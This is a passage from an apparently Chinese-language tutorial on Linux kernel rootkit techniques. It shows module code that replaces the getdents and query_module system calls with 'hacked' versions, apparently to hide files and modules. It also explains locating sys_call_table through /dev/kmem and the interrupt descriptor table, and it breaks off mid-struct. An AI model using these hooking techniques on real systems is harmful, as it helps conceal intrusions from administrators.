int init_module(void)
/*初始化模块*/
{
orig_getdents=sys_call_table[SYS_getdents]; //保存原来的系统调用
orig_query_module=sys_call_table[SYS_query_module]
sys_call_table[SYS_getdents]=hacked_getdents; //设置新的系统调用
sys_call_table[SYS_query_module]=hacked_query_module;
return 0; //返回0表示成功
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_getdents]=orig_getdents; //恢复原来的系统调用
sys_call_table[SYS_query_module]=orig_query_module;
}
(2)在系统并不导出sys_call_table的情况下:
linux内核在2.4.18以后为了安全起见不再导出sys_call_table符号,从而无法直接获得系统调用表的地址,那么就必须找到其他的办法来得到这个地址。在背景知识中提到了/dev/kmem是系统主存的映像,可以通过查询该文件来找到sys_call_table的地址,并对其进行修改,来使用新的系统调用。那么如何在系统映像中找到sys_call_table的地址呢?让我们先看看system_call的源代码是如何来实现系统调用的(代码见/arch/i386/kernel/entry.S):
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_CURRENT(%ebx)
cmpl $(NR_syscalls),%eax
jae badsys
testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS
jne tracesys
call *SYMBOL_NAME(sys_call_table)(,%eax,4)
movl %eax,EAX(%esp) # save the return value
ENTRY(ret_from_sys_call)
struct{ //各字段含义可以参考背景知识中关于IDTR寄存器的介绍
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;
struct{ //各字段含义可以参考背景知识中关于中断描述符的介绍